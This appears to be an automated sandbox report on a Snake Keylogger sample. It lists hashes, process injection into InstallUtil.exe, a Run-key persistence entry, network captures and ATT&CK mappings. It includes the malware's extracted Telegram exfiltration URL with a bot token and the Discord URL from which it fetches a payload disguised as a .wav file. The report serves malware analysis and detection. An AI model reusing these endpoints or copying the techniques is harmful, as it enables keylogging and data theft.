snakekeylogger | 8f0f73da0cf00759da7bdb027e9f33abfd04617d19ec3d574901b1eb36e21078

Analysis

max time kernel
123s
max time network
125s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29/08/2023, 12:01 UTC

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General

Target

Uecqyndauhl.exe
Size

837KB
MD5

7af8d321a3c0d9a27f7a9ab29ad5b16a
SHA1

29e56ec4934fab9865fbd4d41698840fefd8b33d
SHA256

8f0f73da0cf00759da7bdb027e9f33abfd04617d19ec3d574901b1eb36e21078
SHA512

9f8b8f7be56ed8721c4a21f7fffc82b0f8a592f7b3871f55191a9355f6e8c838a8c6e7c61ef12ae4334445a3617250741ad24f42b276062bc368832eabad2a04
SSDEEP

12288:b/y7FGqvrNujgr+w6u17Xh6uROvKDGSIlQVSjZfQg4lToURIUh9mJRJPZ6JvC7R6:ruGq0grx16uYvKslQERJ7PAqN7

Score

10^/10

snakekeylogger keylogger persistence stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot5651670986:AAHpwwN-ny7apM0yBwQlweVd-JZOihDUBEA/sendMessage?chat_id=5716598986

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral1/memory/880-1094-0x0000000140000000-0x0000000140022000-memory.dmp	family_snakekeylogger

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000\Software\Microsoft\Windows\CurrentVersion\Run\Hjmwzggqa = "C:\\Users\\Admin\\AppData\\Roaming\\Hjmwzggqa.exe"	Uecqyndauhl.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2512 set thread context of 880	2512	Uecqyndauhl.exe	30

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
880	InstallUtil.exe
880	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2512	Uecqyndauhl.exe
Token: SeDebugPrivilege	880	InstallUtil.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 880	2512	Uecqyndauhl.exe	30
PID 2512 wrote to memory of 880	2512	Uecqyndauhl.exe	30
PID 2512 wrote to memory of 880	2512	Uecqyndauhl.exe	30
PID 2512 wrote to memory of 880	2512	Uecqyndauhl.exe	30
PID 2512 wrote to memory of 880	2512	Uecqyndauhl.exe	30
PID 2512 wrote to memory of 880	2512	Uecqyndauhl.exe	30
PID 2512 wrote to memory of 880	2512	Uecqyndauhl.exe	30

C:\Users\Admin\AppData\Local\Temp\Uecqyndauhl.exe
"C:\Users\Admin\AppData\Local\Temp\Uecqyndauhl.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:880

Network

DNS

cdn.discordapp.com

Uecqyndauhl.exe

Remote address:

8.8.8.8:53

Request

cdn.discordapp.com

IN A

Response

cdn.discordapp.com

IN A

162.159.129.233

cdn.discordapp.com

IN A

162.159.134.233

cdn.discordapp.com

IN A

162.159.135.233

cdn.discordapp.com

IN A

162.159.133.233

cdn.discordapp.com

IN A

162.159.130.233
GET

https://cdn.discordapp.com/attachments/1144221464405491825/1145979467194449952/Oxulappwk.wav

Uecqyndauhl.exe

Remote address:

162.159.129.233:443

Request

GET /attachments/1144221464405491825/1145979467194449952/Oxulappwk.wav HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Tue, 29 Aug 2023 12:01:14 GMT
Content-Type: audio/x-wav
Content-Length: 749056
Connection: keep-alive
CF-Ray: 7fe4a3624e6cb734-AMS
CF-Cache-Status: MISS
Accept-Ranges: bytes
Cache-Control: public, max-age=31536000
Content-Disposition: attachment; filename="Oxulappwk.wav"
ETag: "7a7c8752c4d85672984f8785e5b25cf7"
Expires: Wed, 28 Aug 2024 12:01:14 GMT
Last-Modified: Tue, 29 Aug 2023 07:13:16 GMT
Vary: Accept-Encoding
Alt-Svc: h3=":443"; ma=86400
x-goog-generation: 1693293196315684
x-goog-hash: crc32c=rJlRUA==
x-goog-hash: md5=enyHUsTYVnKYT4eF5bJc9w==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 749056
X-GUploader-UploadID: ADPycdv5-8-U4SPm4dNSO_F--pDdiXtixVGu7pYKFj-HnvHhwGnjMLBRdkW7EH1vtDo4e5coYZC2hxCAy4JdyJI9PGar3_AgVokh
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Set-Cookie: __cf_bm=KIKEwRp38zaBQAG2y6YysvrrYtEjuQB7goaDUmIVTng-1693310474-0-AZu+yzIV+HJ6Z/Eik9eZlwhDlkTmATdRY/+TLVsbh/uGEAeDx+I0FbLkQcc9EO3YKcVwrIvoWHIYBkdAy6Pl/9s=; path=/; expires=Tue, 29-Aug-23 12:31:14 GMT; domain=.discordapp.com; HttpOnly; Secure
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eFOVBciXTtZ0J9yjGSrRsz4pLTZC8DQaxvvENvM39H1s4KYzXmBfZfkCT%2BCl7YL1E52%2Fbkl4oyh6oG9uptOQZRiH%2FDl02GBCnZmAdV3b5QDjJoHLP1FpHGXTEo5%2ByOF7v%2FK%2FKA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
DNS

checkip.dyndns.org

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

checkip.dyndns.org

IN A

Response

checkip.dyndns.org

IN CNAME

checkip.dyndns.com

checkip.dyndns.com

IN A

132.226.247.73

checkip.dyndns.com

IN A

193.122.6.168

checkip.dyndns.com

IN A

132.226.8.169

checkip.dyndns.com

IN A

158.101.44.242

checkip.dyndns.com

IN A

193.122.130.0
GET

http://checkip.dyndns.org/

InstallUtil.exe

Remote address:

193.122.6.168:80

Request

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Tue, 29 Aug 2023 12:02:47 GMT
Content-Type: text/html
Content-Length: 104
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
DNS

api.telegram.org

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

api.telegram.org

IN A

Response

api.telegram.org

IN A

149.154.167.220

162.159.129.233:443

https://cdn.discordapp.com/attachments/1144221464405491825/1145979467194449952/Oxulappwk.wav

tls, http

Uecqyndauhl.exe

15.8kB
781.4kB
335
619

HTTP Request

GET https://cdn.discordapp.com/attachments/1144221464405491825/1145979467194449952/Oxulappwk.wav

HTTP Response

200
132.226.247.73:80

checkip.dyndns.org

InstallUtil.exe

152 B
3
193.122.6.168:80

http://checkip.dyndns.org/

http

InstallUtil.exe

387 B
718 B
5
4

HTTP Request

GET http://checkip.dyndns.org/

HTTP Response

200
149.154.167.220:443

api.telegram.org

tls

InstallUtil.exe

388 B
219 B
5
5

8.8.8.8:53

cdn.discordapp.com

dns

Uecqyndauhl.exe

64 B
144 B
1
1

DNS Request

cdn.discordapp.com

DNS Response

162.159.129.233

162.159.134.233

162.159.135.233

162.159.133.233

162.159.130.233
8.8.8.8:53

checkip.dyndns.org

dns

InstallUtil.exe

64 B
176 B
1
1

DNS Request

checkip.dyndns.org

DNS Response

132.226.247.73

193.122.6.168

132.226.8.169

158.101.44.242

193.122.130.0
8.8.8.8:53

api.telegram.org

dns

InstallUtil.exe

62 B
78 B
1
1

DNS Request

api.telegram.org

DNS Response

149.154.167.220

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/880-1094-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/880-1099-0x000000001BC10000-0x000000001BC90000-memory.dmp

Filesize
512KB

Download
memory/880-1098-0x000007FEF5DB0000-0x000007FEF679C000-memory.dmp

Filesize
9.9MB

Download
memory/880-1097-0x000000001BC10000-0x000000001BC90000-memory.dmp

Filesize
512KB

Download
memory/880-1096-0x000007FEF5DB0000-0x000007FEF679C000-memory.dmp

Filesize
9.9MB

Download
memory/2512-43-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-45-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-9-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-11-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-13-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-15-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-19-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-17-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-21-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-23-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-27-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-25-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-31-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-29-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-35-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-37-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-33-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-47-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-41-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-0-0x0000000000FA0000-0x0000000001074000-memory.dmp

Filesize
848KB

Download
memory/2512-7-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-49-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-39-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-51-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-53-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-55-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-57-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-59-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-61-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-63-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-65-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-67-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-543-0x000007FEF5DB0000-0x000007FEF679C000-memory.dmp

Filesize
9.9MB

Download
memory/2512-642-0x000000001C1B0000-0x000000001C230000-memory.dmp

Filesize
512KB

Download
memory/2512-1082-0x0000000000580000-0x0000000000581000-memory.dmp

Filesize
4KB

Download
memory/2512-1083-0x00000000007A0000-0x00000000007D8000-memory.dmp

Filesize
224KB

Download
memory/2512-1084-0x0000000000E40000-0x0000000000E8C000-memory.dmp

Filesize
304KB

Download
memory/2512-1095-0x000007FEF5DB0000-0x000007FEF679C000-memory.dmp

Filesize
9.9MB

Download
memory/2512-5-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-4-0x000000001FDF0000-0x000000001FEA7000-memory.dmp

Filesize
732KB

Download
memory/2512-3-0x000000001FDF0000-0x000000001FEAE000-memory.dmp

Filesize
760KB

Download
memory/2512-2-0x000000001C1B0000-0x000000001C230000-memory.dmp

Filesize
512KB

Download
memory/2512-1-0x000007FEF5DB0000-0x000007FEF679C000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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Downloads

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